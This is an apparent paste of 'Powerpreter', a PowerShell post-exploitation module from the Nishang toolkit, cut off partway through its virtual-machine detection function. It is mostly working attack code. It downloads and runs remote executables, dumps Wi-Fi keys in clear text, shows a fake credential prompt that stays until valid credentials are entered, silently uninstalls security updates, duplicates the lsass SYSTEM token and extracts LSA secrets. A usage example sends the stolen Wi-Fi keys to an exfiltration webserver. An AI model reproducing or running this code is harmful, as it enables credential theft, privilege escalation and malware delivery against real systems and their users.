· 11 years ago · Aug 17, 2015, 06:24 PM
1<#
2.SYNOPSIS
3Powerpreter is a module written in powershell. Powerpreter makes available maximum possible functionality of nishang
4in a single script. This is much helpful in scenarios like phishing attacks and webshells.
5.DESCRIPTION
6Powerpreter is a script module which makes it useful in scenarios like drive-by-download, document attachments, webshells etc. where one
7may like to pull all the functionality in Nishang in a single file or deployment is not easy to do. Powerpreter has persistence
8capabilities too. See examples for help in using it.
9.EXAMPLE
10PS > Import-Module .\Powerpreter.psm1
11PS> Get-Command -Module powerpreter
12The first command imports the module in current powershell session. Ignore the Unapproved verbs warning.
13The second command lists all the functions available with powerpreter.
14.EXAMPLE
15PS > Import-Module .\Powerpreter.psm1; Enable-DuplicateToken; Get-LSASecret
16Use above command to import powerpreter in current powershell session and execute the two functions.
17.EXAMPLE
18PS > Import-Module .\Powerpreter.psm1; Persistence
19Use above for reboot persistence
20.EXAMPLE
21PS > Import-Module .\Powerpreter.psm1
22PS > Get-WLAN-Keys | Do-Exfiltration -ExfilOption Webserver -URL http://192.168.254.183/catchpost.php
23Use above for exfiltration to a webserver which logs POST requests.
24.LINK
25http://labofapenetrationtester.com/
26https://github.com/samratashok/nishang
27#>
28######################################################Download a file to the target.##################################################
29
30function Download
31{
32
33<#
34.SYNOPSIS
35Payload to Download a file in current users temp directory.
36.DESCRIPTION
37This payload downloads a file to the given location.
38.PARAMETER URL
39The URL from where the file would be downloaded.
40.PARAMETER FileName
41Name of the file where download would be saved.
42.EXAMPLE
43PS > Download http://example.com/file.txt newfile.txt
44.LINK
45http://labofapenetrationtester.com/
46https://github.com/samratashok/nishang
47#>
48
49
50 [CmdletBinding()] Param(
51 [Parameter(Position = 0, Mandatory = $True)]
52 [String]
53 $URL,
54 [Parameter(Position = 1, Mandatory = $True)]
55 [String]
56 $FileName
57 )
58 $webclient = New-Object System.Net.WebClient
59 $file = "$env:temp\$FileName"
60 $webclient.DownloadFile($URL,$file)
61}
62
63#################################Download an executable in text format, convert it to exe and execute it.#################################
64function Download_Execute
65{
66
67<#
68.SYNOPSIS
69Payload to download an executable in text format, convert it to executable and execute.
70.DESCRIPTION
71This payload downloads an executable in text format, converts it to executable and execute.
72Use exetotext.ps1 script to change an executable to text
73.PARAMETER URL
74The URL from where the file would be downloaded.
75.EXAMPLE
76PS > Download_Execute http://example.com/file.txt
77.LINK
78http://labofapenetrationtester.com/
79https://github.com/samratashok/nishang
80#>
81
82
83
84 [CmdletBinding()] Param(
85 [Parameter(Position = 0, Mandatory = $True)]
86 [String]
87 $URL
88 )
89 $webclient = New-Object System.Net.WebClient
90 [string]$hexformat = $webClient.DownloadString($URL)
91 [Byte[]] $temp = $hexformat -split ' '
92 [System.IO.File]::WriteAllBytes("$env:temp\svcmondr.exe", $temp)
93 start-process -nonewwindow "$env:temp\svcmondr.exe"
94}
95
96##########################Dumps keys in clear text for saved WLAN profiles.#########################################
97function Get-Wlan-Keys
98{
99
100<#
101.SYNOPSIS
102Payload which dumps keys for WLAN profiles.
103.DESCRIPTION
104This payload dumps keys in clear text for saved WLAN profiles.
105The payload must be run from as administrator to get the keys.
106.EXAMPLE
107PS > Get-WLAN-Keys
108.LINK
109http://poshcode.org/1700
110https://github.com/samratashok/nishang
111#>
112
113
114 [CmdletBinding()]
115 Param ()
116 $wlans = netsh wlan show profiles | Select-String -Pattern "All User Profile" | Foreach-Object {$_.ToString()}
117 $exportdata = $wlans | Foreach-Object {$_.Replace(" All User Profile : ",$null)}
118 $pastevalue = $exportdata | ForEach-Object {netsh wlan show profiles name="$_" key=clear}
119 $pastevalue
120}
121
122
123#################################################Gathers juicy information from the target##########################################################
124function Get-Information
125{
126
127
128<#
129.SYNOPSIS
130Payload which gathers juicy information from the target.
131.DESCRIPTION
132This payload extracts information form registry and some commands. The information available would be dependent on the privilege with
133which the script would be executed.
134.EXAMPLE
135PS > Get-Information
136.LINK
137http://labofapenetrationtester.com/
138https://github.com/samratashok/nishang
139#>
140
141 function registry_values($regkey, $regvalue,$child)
142 {
143 if ($child -eq "no"){$key = get-item $regkey}
144 else{$key = get-childitem $regkey}
145 $key |
146 ForEach-Object {
147 $values = Get-ItemProperty $_.PSPath
148 ForEach ($value in $_.Property)
149 {
150 if ($regvalue -eq "all") {$values.$value}
151 elseif ($regvalue -eq "allname"){$value}
152 else {$values.$regvalue;break}
153 }
154 }
155 }
156
157 $output = "Logged in users:`n" + ((registry_values "hklm:\software\microsoft\windows nt\currentversion\profilelist" "profileimagepath") -join "`r`n")
158 $output = $output + "`n`n Powershell environment:`n" + ((registry_values "hklm:\software\microsoft\powershell" "allname") -join "`r`n")
159 $output = $output + "`n`n Putty trusted hosts:`n" + ((registry_values "hkcu:\software\simontatham\putty" "allname") -join "`r`n")
160 $output = $output + "`n`n Putty saved sessions:`n" + ((registry_values "hkcu:\software\simontatham\putty\sessions" "all") -join "`r`n")
161 $output = $output + "`n`n Recently used commands:`n" + ((registry_values "hkcu:\software\microsoft\windows\currentversion\explorer\runmru" "all" "no") -join "`r`n")
162 $output = $output + "`n`n Shares on the machine:`n" + ((registry_values "hklm:\SYSTEM\CurrentControlSet\services\LanmanServer\Shares" "all" "no") -join "`r`n")
163 $output = $output + "`n`n Environment variables:`n" + ((registry_values "hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" "all" "no") -join "`r`n")
164 $output = $output + "`n`n More details for current user:`n" + ((registry_values "hkcu:\Volatile Environment" "all" "no") -join "`r`n")
165 $output = $output + "`n`n SNMP community strings:`n" + ((registry_values "hklm:\SYSTEM\CurrentControlSet\services\snmp\parameters\validcommunities" "all" "no") -join "`r`n")
166 $output = $output + "`n`n SNMP community strings for current user:`n" + ((registry_values "hkcu:\SYSTEM\CurrentControlSet\services\snmp\parameters\validcommunities" "all" "no") -join "`r`n")
167 $output = $output + "`n`n Installed Applications:`n" + ((registry_values "hklm:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" "displayname") -join "`r`n")
168 $output = $output + "`n`n Installed Applications for current user:`n" + ((registry_values "hkcu:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" "displayname") -join "`r`n")
169 $output = $output + "`n`n Domain Name:`n" + ((registry_values "hklm:\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\" "all" "no") -join "`r`n")
170 $output = $output + "`n`n Contents of /etc/hosts:`n" + ((get-content -path "C:\windows\System32\drivers\etc\hosts") -join "`r`n")
171 $output = $output + "`n`n Running Services:`n" + ((net start) -join "`r`n")
172 $output = $output + "`n`n Account Policy:`n" + ((net accounts) -join "`r`n")
173 $output = $output + "`n`n Local users:`n" + ((net user) -join "`r`n")
174 $output = $output + "`n`n Local Groups:`n" + ((net localgroup) -join "`r`n")
175 $output = $output + "`n`n WLAN Info:`n" + ((netsh wlan show all) -join "`r`n")
176
177 $output
178
179}
180
181#####################################Displays a credential prompt and doesn't go away till valid credentials are entered##################
182
183function Invoke-CredentialsPhish
184{
185<#
186.SYNOPSIS
187Function which opens a user credential prompt.
188.DESCRIPTION
189This payload opens a prompt which asks for user credentials and
190does not go away till valid credentials are entered in the prompt.
191.EXAMPLE
192PS > Invoke-CredentialsPhish
193.LINK
194http://labofapenetrationtester.blogspot.com/
195https://github.com/samratashok/nishang
196#>
197
198[CmdletBinding()]
199Param ()
200
201 $ErrorActionPreference="SilentlyContinue"
202 Add-Type -assemblyname system.DirectoryServices.accountmanagement
203 $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
204 $domainDN = "LDAP://" + ([ADSI]"").distinguishedName
205 while($true)
206 {
207 $credential = $host.ui.PromptForCredential("Credentials are required to perform this operation", "Please enter your user name and password.", "", "")
208 if($credential)
209 {
210 $creds = $credential.GetNetworkCredential()
211 [String]$user = $creds.username
212 [String]$pass = $creds.password
213 [String]$domain = $creds.domain
214 $authlocal = $DS.ValidateCredentials($user, $pass)
215 $authdomain = New-Object System.DirectoryServices.DirectoryEntry($domainDN,$user,$pass)
216 if(($authlocal -eq $true) -or ($authdomain.name -ne $null))
217 {
218 $output = "Username: " + $user + " Password: " + $pass + " Domain:" + $domain + " Domain:"+ $authdomain.name
219 $output
220 break
221 }
222 }
223 }
224}
225
226
227
228
229
230####################################Silently removes updates for a target machine.########################################################
231###Thanks Trevor Sullivan
232###http://trevorsullivan.net/2011/05/31/powershell-removing-software-updates-from-windows/
233function Remove-Update {
234
235<#
236.SYNOPSIS
237Payload which silently removes updates for a target machine.
238.DESCRIPTION
239This payload removes updates from a tagret machine. This could be
240used to remove all updates, all security updates or a particular update.
241.PARAMETER KBID
242THE KBID of update you want to remove. All and Security are also validd.
243.EXAMPLE
244PS > Remove-Update All
245This removes all updates from the target.
246.EXAMPLE
247PS > Remove-Update Security
248This removes all security updates from the target.
249.EXAMPLE
250PS > Remove-Update KB2761226
251This removes KB2761226 from the target.
252.LINK
253http://trevorsullivan.net/2011/05/31/powershell-removing-software-updates-from-windows/
254https://github.com/samratashok/nishang
255#>
256
257
258 [CmdletBinding()] Param(
259 [Parameter(Position = 0, Mandatory = $True)]
260 [String]
261 $KBID
262 )
263 $HotFixes = Get-HotFix
264
265 foreach ($HotFix in $HotFixes)
266 {
267
268 if ($KBID -eq $HotFix.HotfixId)
269 {
270 $KBID = $HotFix.HotfixId.Replace("KB", "")
271 $RemovalCommand = "wusa.exe /uninstall /kb:$KBID /quiet /norestart"
272 Write-Host "Removing $KBID from the target."
273 Invoke-Expression $RemovalCommand
274 break
275 }
276
277 if ($KBID -match "All")
278 {
279 $KBNumber = $HotFix.HotfixId.Replace("KB", "")
280 $RemovalCommand = "wusa.exe /uninstall /kb:$KBNumber /quiet /norestart"
281 Write-Host "Removing update $KBNumber from the target."
282 Invoke-Expression $RemovalCommand
283
284 }
285
286 if ($KBID -match "Security")
287 {
288 if ($HotFix.Description -match "Security")
289 {
290
291 $KBSecurity = $HotFix.HotfixId.Replace("KB", "")
292 $RemovalCommand = "wusa.exe /uninstall /kb:$KBSecurity /quiet /norestart"
293 Write-Host "Removing Security Update $KBSecurity from the target."
294 Invoke-Expression $RemovalCommand
295 }
296 }
297
298
299 while (@(Get-Process wusa -ErrorAction SilentlyContinue).Count -ne 0)
300 {
301 Start-Sleep 3
302 Write-Output "Waiting for update removal to finish ..."
303 }
304 }
305
306}
307
308
309##########################Duplicates the Access token of lsass (SYSTEM) and sets it in the current process thread.###################################
310####Thanks Niklas Goude#####
311####http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx
312function Enable-DuplicateToken {
313
314<#
315.SYNOPSIS
316Payload which duplicates the Access token of lsass and sets it in the current process thread.
317
318.DESCRIPTION
319This payload duplicates the Access token of lsass and sets it in the current process thread.
320The payload must be run with elevated permissions.
321.EXAMPLE
322PS > Enable-DuplicateToken
323
324.LINK
325http://www.truesec.com
326http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx
327https://github.com/samratashok/nishang
328.NOTES
329Goude 2012, TreuSec
330#>
331
332
333[CmdletBinding()]
334param()
335
336$signature = @"
337 [StructLayout(LayoutKind.Sequential, Pack = 1)]
338 public struct TokPriv1Luid
339 {
340 public int Count;
341 public long Luid;
342 public int Attr;
343 }
344
345 public const int SE_PRIVILEGE_ENABLED = 0x00000002;
346 public const int TOKEN_QUERY = 0x00000008;
347 public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
348 public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
349
350 public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
351 public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
352 public const UInt32 TOKEN_DUPLICATE = 0x0002;
353 public const UInt32 TOKEN_IMPERSONATE = 0x0004;
354 public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
355 public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
356 public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
357 public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
358 public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
359 public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
360 TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
361 TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
362 TOKEN_ADJUST_SESSIONID);
363
364 public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";
365 public const int ANYSIZE_ARRAY = 1;
366
367 [StructLayout(LayoutKind.Sequential)]
368 public struct LUID
369 {
370 public UInt32 LowPart;
371 public UInt32 HighPart;
372 }
373
374 [StructLayout(LayoutKind.Sequential)]
375 public struct LUID_AND_ATTRIBUTES {
376 public LUID Luid;
377 public UInt32 Attributes;
378 }
379
380
381 public struct TOKEN_PRIVILEGES {
382 public UInt32 PrivilegeCount;
383 [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
384 public LUID_AND_ATTRIBUTES [] Privileges;
385 }
386
387 [DllImport("advapi32.dll", SetLastError=true)]
388 public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int
389 SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);
390
391
392 [DllImport("advapi32.dll", SetLastError=true)]
393 [return: MarshalAs(UnmanagedType.Bool)]
394 public static extern bool SetThreadToken(
395 IntPtr PHThread,
396 IntPtr Token
397 );
398
399 [DllImport("advapi32.dll", SetLastError=true)]
400 [return: MarshalAs(UnmanagedType.Bool)]
401 public static extern bool OpenProcessToken(IntPtr ProcessHandle,
402 UInt32 DesiredAccess, out IntPtr TokenHandle);
403
404 [DllImport("advapi32.dll", SetLastError = true)]
405 public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
406
407 [DllImport("kernel32.dll", ExactSpelling = true)]
408 public static extern IntPtr GetCurrentProcess();
409
410 [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
411 public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
412 ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
413"@
414
415 $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
416 if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
417 Write-Warning "Run the Command as an Administrator"
418 Break
419 }
420
421 Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv
422 $adjPriv = [AdjPriv.AdjPriv]
423 [long]$luid = 0
424
425 $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid
426 $tokPriv1Luid.Count = 1
427 $tokPriv1Luid.Luid = $luid
428 $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED
429
430 $retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
431
432 [IntPtr]$htoken = [IntPtr]::Zero
433 $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken)
434
435
436 $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES
437 $retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
438
439 if(-not($retVal)) {
440 [System.Runtime.InteropServices.marshal]::GetLastWin32Error()
441 Break
442 }
443
444 $process = (Get-Process -Name lsass)
445 [IntPtr]$hlsasstoken = [IntPtr]::Zero
446 $retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken)
447
448 [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero
449 $retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle)
450
451 $retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle)
452 if(-not($retVal)) {
453 [System.Runtime.InteropServices.marshal]::GetLastWin32Error()
454 }
455}
456
457######################################################Dumps LSA Secrets from the target#############################################
458####Thanks Niklas Goude#####
459####http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/06/use-powershell-to-decrypt-lsa-secrets-from-the-registry.aspx
460function Get-LsaSecret {
461
462<#
463.SYNOPSIS
464Payload which extracts LSA Secrets from local computer.
465.DESCRIPTION
466Extracts LSA secrets from HKLM:\\SECURITY\Policy\Secrets\ on a local computer.
467The payload must be run with elevated permissions, in 32-bit mode and requires
468permissions to the security key in HKLM. The permission could be obtained by using
469Enable-DuplicateToken payload.
470.PARAMETER RegistryKey
471Name of Key to Extract. if the parameter is not used, all secrets will be displayed.
472.EXAMPLE
473PS > Get-LsaSecret
474.EXAMPLE
475PS > Get-LsaSecret -RegistryKey KeyName
476Read contents of the key mentioned as parameter.
477.LINK
478http://www.truesec.com
479http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/06/use-powershell-to-decrypt-lsa-secrets-from-the-registry.aspx
480https://github.com/samratashok/nishang
481.NOTES
482Goude 2012, TreuSec
483#>
484
485 [CmdletBinding()] Param (
486 [Parameter(Position = 0, Mandatory=$False)]
487 [String]
488 $RegistryKey
489 )
490
491 Begin {
492 # Check if User is Elevated
493 $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
494 if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
495 Write-Warning "Run the Command as an Administrator"
496 Break
497 }
498
499 # Check if Script is run in a 32-bit Environment by checking a Pointer Size
500 if([System.IntPtr]::Size -eq 8) {
501 Write-Warning "Run PowerShell in 32-bit mode"
502 Break
503 }
504
505
506
507 # Check if RegKey is specified
508 if([string]::IsNullOrEmpty($registryKey)) {
509 [string[]]$registryKey = (Split-Path (Get-ChildItem HKLM:\SECURITY\Policy\Secrets | Select -ExpandProperty Name) -Leaf)
510 }
511
512 # Create Temporary Registry Key
513 if( -not(Test-Path "HKLM:\\SECURITY\Policy\Secrets\MySecret")) {
514 mkdir "HKLM:\\SECURITY\Policy\Secrets\MySecret" | Out-Null
515 }
516
517 $signature = @"
518 [StructLayout(LayoutKind.Sequential)]
519 public struct LSA_UNICODE_STRING
520 {
521 public UInt16 Length;
522 public UInt16 MaximumLength;
523 public IntPtr Buffer;
524 }
525 [StructLayout(LayoutKind.Sequential)]
526 public struct LSA_OBJECT_ATTRIBUTES
527 {
528 public int Length;
529 public IntPtr RootDirectory;
530 public LSA_UNICODE_STRING ObjectName;
531 public uint Attributes;
532 public IntPtr SecurityDescriptor;
533 public IntPtr SecurityQualityOfService;
534 }
535 public enum LSA_AccessPolicy : long
536 {
537 POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,
538 POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,
539 POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,
540 POLICY_TRUST_ADMIN = 0x00000008L,
541 POLICY_CREATE_ACCOUNT = 0x00000010L,
542 POLICY_CREATE_SECRET = 0x00000020L,
543 POLICY_CREATE_PRIVILEGE = 0x00000040L,
544 POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,
545 POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,
546 POLICY_AUDIT_LOG_ADMIN = 0x00000200L,
547 POLICY_SERVER_ADMIN = 0x00000400L,
548 POLICY_LOOKUP_NAMES = 0x00000800L,
549 POLICY_NOTIFICATION = 0x00001000L
550 }
551 [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
552 public static extern uint LsaRetrievePrivateData(
553 IntPtr PolicyHandle,
554 ref LSA_UNICODE_STRING KeyName,
555 out IntPtr PrivateData
556 );
557 [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
558 public static extern uint LsaStorePrivateData(
559 IntPtr policyHandle,
560 ref LSA_UNICODE_STRING KeyName,
561 ref LSA_UNICODE_STRING PrivateData
562 );
563 [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
564 public static extern uint LsaOpenPolicy(
565 ref LSA_UNICODE_STRING SystemName,
566 ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,
567 uint DesiredAccess,
568 out IntPtr PolicyHandle
569 );
570 [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
571 public static extern uint LsaNtStatusToWinError(
572 uint status
573 );
574 [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
575 public static extern uint LsaClose(
576 IntPtr policyHandle
577 );
578 [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
579 public static extern uint LsaFreeMemory(
580 IntPtr buffer
581 );
582"@
583
584 Add-Type -MemberDefinition $signature -Name LSAUtil -Namespace LSAUtil
585 }
586
587 Process{
588 foreach($key in $RegistryKey) {
589 $regPath = "HKLM:\\SECURITY\Policy\Secrets\" + $key
590 $tempRegPath = "HKLM:\\SECURITY\Policy\Secrets\MySecret"
591 $myKey = "MySecret"
592 if(Test-Path $regPath) {
593 Try {
594 Get-ChildItem $regPath -ErrorAction Stop | Out-Null
595 }
596 Catch {
597 Write-Error -Message "Access to registry Denied, run as NT AUTHORITY\SYSTEM" -Category PermissionDenied
598 Break
599 }
600
601 if(Test-Path $regPath) {
602 # Copy Key
603 "CurrVal","OldVal","OupdTime","CupdTime","SecDesc" | ForEach-Object {
604 $copyFrom = "HKLM:\SECURITY\Policy\Secrets\" + $key + "\" + $_
605 $copyTo = "HKLM:\SECURITY\Policy\Secrets\MySecret\" + $_
606
607 if( -not(Test-Path $copyTo) ) {
608 mkdir $copyTo | Out-Null
609 }
610 $item = Get-ItemProperty $copyFrom
611 Set-ItemProperty -Path $copyTo -Name '(default)' -Value $item.'(default)'
612 }
613 }
614 # Attributes
615 $objectAttributes = New-Object LSAUtil.LSAUtil+LSA_OBJECT_ATTRIBUTES
616 $objectAttributes.Length = 0
617 $objectAttributes.RootDirectory = [IntPtr]::Zero
618 $objectAttributes.Attributes = 0
619 $objectAttributes.SecurityDescriptor = [IntPtr]::Zero
620 $objectAttributes.SecurityQualityOfService = [IntPtr]::Zero
621
622 # localSystem
623 $localsystem = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
624 $localsystem.Buffer = [IntPtr]::Zero
625 $localsystem.Length = 0
626 $localsystem.MaximumLength = 0
627
628 # Secret Name
629 $secretName = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING
630 $secretName.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($myKey)
631 $secretName.Length = [Uint16]($myKey.Length * [System.Text.UnicodeEncoding]::CharSize)
632 $secretName.MaximumLength = [Uint16](($myKey.Length + 1) * [System.Text.UnicodeEncoding]::CharSize)
633
634 # Get LSA PolicyHandle
635 $lsaPolicyHandle = [IntPtr]::Zero
636 [LSAUtil.LSAUtil+LSA_AccessPolicy]$access = [LSAUtil.LSAUtil+LSA_AccessPolicy]::POLICY_GET_PRIVATE_INFORMATION
637 $lsaOpenPolicyHandle = [LSAUtil.LSAUtil]::LSAOpenPolicy([ref]$localSystem, [ref]$objectAttributes, $access, [ref]$lsaPolicyHandle)
638
639 if($lsaOpenPolicyHandle -ne 0) {
640 Write-Warning "lsaOpenPolicyHandle Windows Error Code: $lsaOpenPolicyHandle"
641 Continue
642 }
643
644 # Retrieve Private Data
645 $privateData = [IntPtr]::Zero
646 $ntsResult = [LSAUtil.LSAUtil]::LsaRetrievePrivateData($lsaPolicyHandle, [ref]$secretName, [ref]$privateData)
647
648 $lsaClose = [LSAUtil.LSAUtil]::LsaClose($lsaPolicyHandle)
649
650 $lsaNtStatusToWinError = [LSAUtil.LSAUtil]::LsaNtStatusToWinError($ntsResult)
651
652 if($lsaNtStatusToWinError -ne 0) {
653 Write-Warning "lsaNtsStatusToWinError: $lsaNtStatusToWinError"
654 }
655
656 [LSAUtil.LSAUtil+LSA_UNICODE_STRING]$lusSecretData =
657 [LSAUtil.LSAUtil+LSA_UNICODE_STRING][System.Runtime.InteropServices.marshal]::PtrToStructure($privateData, [System.Type][LSAUtil.LSAUtil+LSA_UNICODE_STRING])
658
659 Try {
660 [string]$value = [System.Runtime.InteropServices.marshal]::PtrToStringAuto($lusSecretData.Buffer)
661 $value = $value.SubString(0, ($lusSecretData.Length / 2))
662 }
663 Catch {
664 $value = ""
665 }
666
667 if($key -match "^_SC_") {
668 # Get Service Account
669 $serviceName = $key -Replace "^_SC_"
670 Try {
671 # Get Service Account
672 $service = Get-WmiObject -Query "SELECT StartName FROM Win32_Service WHERE Name = '$serviceName'" -ErrorAction Stop
673 $account = $service.StartName
674 }
675 Catch {
676 $account = ""
677 }
678 } else {
679 $account = ""
680 }
681
682 # Return Object
683 $obj = New-Object PSObject -Property @{
684 Name = $key;
685 Secret = $value;
686 Account = $Account
687 }
688
689 $pastevalue = $obj | Select-Object Name, Account, Secret, @{Name="ComputerName";Expression={$env:COMPUTERNAME}}
690 $pastevalue
691
692 } else {
693 Write-Error -Message "Path not found: $regPath" -Category ObjectNotFound
694 }
695 }
696 }
697 end {
698 if(Test-Path $tempRegPath) {
699 Remove-Item -Path "HKLM:\\SECURITY\Policy\Secrets\MySecret" -Recurse -Force
700 }
701 if($exfil -eq $True)
702 {
703 Do-Exfiltration "LSA Secrets: " "$pastevalue" "$username" "$password" "$dev_key" "$keyoutoption"
704 }
705 }
706
707 }
708
709######################################################Converts Base64 string or file to plain.##################################################
710function Base64ToString
711{
712
713<#
714.SYNOPSIS
715Helper funciton which decodes a base64 string to readable.
716.DESCRIPTION
717This payload decodes a base64 string to readable.
718.PARAMETER Base64Strfile
719The filename which contains base64 string to be decoded.
720Use the parameter -IsString while using a string instead of file.
721.EXAMPLE
722PS > Base64ToString base64.txt
723.EXAMPLE
724PS > Base64ToString dGVzdGVzdA== -IsString
725.LINK
726http://labofapenetrationtester.com/
727https://github.com/samratashok/nishang
728#>
729
730 [CmdletBinding()] Param(
731 [Parameter(Position = 0, Mandatory = $True)]
732 [String]
733 $Base64Strfile,
734
735 [Switch]
736 $IsString
737 )
738
739 if($IsString -eq $true)
740 {
741
742 $base64string = [System.Convert]::FromBase64String($Base64Strfile)
743
744 }
745 else
746 {
747 $base64string = [System.Convert]::FromBase64String((Get-Content $Base64Strfile))
748 }
749
750 $decodedstring = [System.Text.Encoding]::Unicode.GetString($base64string)
751 $decodedstring
752 }
753
754
755
756########################################################Detects whether it is in a known virtual machine.###########################
757###Based on CheckVM post module in msf by Carlos Perez
758function Check-VM
759{
760
761<#
762.SYNOPSIS
763Helper function which detects whether it is running in a known virtual machine.
764
765.DESCRIPTION
766This script uses known parameters or 'fingerprints' of Hyper-V, VMWare, Virtual PC, Virtual Box,
767Xen and QEMU for detecting the environment.
768.EXAMPLE
769PS > Check-VM
770
771.LINK
772http://labofapenetrationtester.com/
773https://github.com/samratashok/nishang
774.NOTES
775The script draws heavily from checkvm.rb post module from msf.
776https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/checkvm.rb
777#>
778 [CmdletBinding()] Param()
779 $ErrorActionPreference = "SilentlyContinue"
780 #Hyper-V
781 $hyperv = Get-ChildItem HKLM:\SOFTWARE\Microsoft
782 if (($hyperv -match "Hyper-V") -or ($hyperv -match "VirtualMachine"))
783 {
784 $hypervm = $true
785 }
786
787 if (!$hypervm)
788 {
789 $hyperv = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System -Name SystemBiosVersion
790 if ($hyperv -match "vrtual")
791 {
792 $hypervm = $true
793 }
794 }
795
796 if (!$hypervm)
797 {
798 $hyperv = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT
799 if ($hyperv -match "vrtual")
800 {
801 $hypervm = $true
802 }
803 }
804
805 if (!$hypervm)
806 {
807 $hyperv = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT
808 if ($hyperv -match "vrtual")
809 {
810 $hypervm = $true
811 }
812 }
813
814 if (!$hypervm)
815 {
816 $hyperv = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services
817 if (($hyperv -match "vmicheartbeat") -or ($hyperv -match "vmicvss") -or ($hyperv -match "vmicshutdown") -or ($hyperv -match "vmiexchange"))
818 {
819 $hypervm = $true
820 }
821 }
822
823 if ($hypervm)
824 {
825
826 "This is a Hyper-V machine."
827
828 }
829
830 #VMWARE
831
832 $vmware = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services
833 if (($vmware -match "vmdebug") -or ($vmware -match "vmmouse") -or ($vmware -match "VMTools") -or ($vmware -match "VMMEMCTL"))
834 {
835 $vmwarevm = $true
836 }
837
838 if (!$vmwarevm)
839 {
840 $vmware = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System\BIOS -Name SystemManufacturer
841 if ($vmware -match "vmware")
842 {
843 $vmwarevm = $true
844 }
845 }
846
847 if (!$vmwarevm)
848 {
849 $vmware = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier
850 if ($vmware -match "vmware")
851 {
852 $vmwarevm = $true
853 }
854 }
855
856 if (!$vmwarevm)
857 {
858 $vmware = Get-Process
859 if (($vmware -eq "vmwareuser.exe") -or ($vmware -match "vmwaretray.exe"))
860 {
861 $vmwarevm = $true
862 }
863 }
864
865 if ($vmwarevm)
866 {
867
868 "This is a VMWare machine."
869
870 }
871
872 #Virtual PC
